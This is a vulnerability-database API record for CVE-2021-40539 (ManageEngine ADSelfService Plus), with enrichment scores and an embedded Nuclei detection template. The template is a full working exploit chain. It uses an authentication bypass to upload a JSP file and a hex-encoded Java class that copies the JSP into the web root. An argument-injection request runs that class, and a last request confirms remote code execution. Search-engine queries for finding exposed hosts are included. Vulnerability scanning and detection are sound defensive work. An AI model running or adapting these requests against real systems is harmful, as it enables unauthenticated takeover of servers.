{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-40539/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-40539/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-40539/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-40539/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-40539/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-40539"},"sightings":{"href":"/api/v1/sightings/cve-2021-40539"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.9896,"kev":true,"percentile":0.99929},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-40539.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-40539\n\ninfo:\n  name: Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution\n  author: daffainfo,pdteam\n  severity: critical\n  description: Zoho ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass vulnerability that can lead to remote code execution.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.\n  remediation: Upgrade to ADSelfService Plus build 6114.\n  reference:\n    - https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis\n    - https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html\n    - https://github.com/synacktiv/CVE-2021-40539\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-40539\n    - https://www.manageengine.com\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-40539\n    cwe-id: CWE-706\n    epss-score: 0.9896\n    epss-percentile: 0.99929\n    cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:4.5:4510:*:*:*:*:*:*\n  metadata:\n    max-request: 4\n    vendor: zohocorp\n    product: manageengine_adselfservice_plus\n    shodan-query:\n      - http.title:\"manageengine\"\n      - http.title:\"adselfservice plus\"\n    fofa-query:\n      - title=\"manageengine\"\n      - title=\"adselfservice plus\"\n    google-query:\n      - intitle:\"adselfservice plus\"\n      - intitle:\"manageengine\"\n  tags: cve2021,cve,rce,ad,intrusive,manageengine,kev,zohocorp,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /./RestAPI/LogonCustomization HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458\n\n        --8b1ab266c41afb773af2e064bc526458\n        Content-Disposition: form-data; name=\"methodToCall\"\n\n        unspecified\n        --8b1ab266c41afb773af2e064bc526458\n        Content-Disposition: form-data; name=\"Save\"\n\n        yes\n        --8b1ab266c41afb773af2e064bc526458\n        Content-Disposition: form-data; name=\"form\"\n\n        smartcard\n        --8b1ab266c41afb773af2e064bc526458\n        Content-Disposition: form-data; name=\"operation\"\n\n        Add\n        --8b1ab266c41afb773af2e064bc526458\n        Content-Disposition: form-data; name=\"CERTIFICATE_PATH\"; filename=\"ws.jsp\"\n\n        <%@ page import=\"java.util.*,java.io.*\"%>\n        <%@ page import=\"java.security.MessageDigest\"%>\n        <%\n        String cve = \"CVE-2021-40539\";\n        MessageDigest alg = MessageDigest.getInstance(\"MD5\");\n        alg.reset();\n        alg.update(cve.getBytes());\n        byte[] digest = alg.digest();\n        StringBuffer hashedpasswd = new StringBuffer();\n        String hx;\n        for (int i=0;i<digest.length;i++){\n          hx =  Integer.toHexString(0xFF & digest[i]);\n          if(hx.length() == 1){hx = \"0\" + hx;}\n          hashedpasswd.append(hx);\n        }\n        out.println(hashedpasswd.toString());\n        %>\n        --8b1ab266c41afb773af2e064bc526458--\n      - |\n        POST /./RestAPI/LogonCustomization HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b\n\n        --43992a07d9a30213782780204a9f032b\n        Content-Disposition: form-data; name=\"methodToCall\"\n\n        unspecified\n        --43992a07d9a30213782780204a9f032b\n        Content-Disposition: form-data; name=\"Save\"\n\n        yes\n        --43992a07d9a30213782780204a9f032b\n        Content-Disposition: form-data; name=\"form\"\n\n        smartcard\n        --43992a07d9a30213782780204a9f032b\n        Content-Disposition: form-data; name=\"operation\"\n\n        Add\n        --43992a07d9a30213782780204a9f032b\n        Content-Disposition: form-data; name=\"CERTIFICATE_PATH\"; filename=\"Si.class\"\n\n        {{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}}\n        --43992a07d9a30213782780204a9f032b--\n      - |\n        POST /./RestAPI/Connection HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22\n      - |\n        GET /help/admin-guide/test.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"114f7ce498a54a1be1de1f1e5731d0ea\" # MD5 of CVE-2021-40539\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210093cdcd10ec7900671cc220c21198b6906d0ddbae6c613c2d9703a14b97808f4402202495bc4647bae780600ea8694c280c2c4214dd5a80e2a6b2d024a58036ba1a31:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-40539"}